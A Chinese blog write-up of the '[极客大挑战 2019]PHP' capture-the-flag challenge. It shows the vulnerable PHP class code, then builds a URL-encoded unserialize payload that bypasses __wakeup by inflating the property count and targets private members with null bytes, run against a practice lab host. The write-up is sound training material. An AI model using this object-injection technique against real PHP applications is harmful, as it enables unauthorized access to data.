[极客大挑战 2019]PHP

-眼里有星河-

已于 2022-03-13 16:20:35 修改

阅读量547

点赞数 1

分类专栏：题目wp 文章标签： php linux 开发语言

于 2022-03-13 16:20:13 首次发布

本文链接：https://blog.csdn.net/m0_62092622/article/details/123441780

版权

题目wp 专栏收录该内容

38 篇文章 0 订阅

订阅专栏

建议先看一下这篇文章，了解一下序列化与反序列化，然后再写题

https://www.jb51.net/article/188446.htmhttps://www.jb51.net/article/188446.htm打开是一个小猫

看到提示是备份网站，拿扫描工具（我用的是Kali的dirsearch）找一找，发现一个www.zip文件（其实我发现了很多文件，看wp都是www.zip但我不明白那么多为什么就看这个）

查看文件

自动下载了压缩包

解压后发现一些文件

flag.php

<?php
$flag = 'Syc{dog_dog_dog_dog}';
?>

class.php

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();
        }
    }
}
?>

index.php（只列出重要的一部分）

<?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
?>

可以看出本题和反序列化有关，而且当username=admin并且password=100时会出现flag

构造payload（记得把属性个数改成3来绕过__wakeup）

http://bb9b2df6-6dee-49e8-9cb8-7096f17bdc9e.node4.buuoj.cn:81?select=O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

但是却出现这个，说明我们的参数并没有传进去

后来才得知，url识别不了双引号，直接进行url编码比较方便，下面网址点击即可进行编码

在线URL编码解码工具-UrlEncode编码-UrlDecode解码在线工具

因为Name成员是private，所以要在类名和成员名前加上%00

最终payload

http://bb9b2df6-6dee-49e8-9cb8-7096f17bdc9e.node4.buuoj.cn:81?select=O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D

得到flag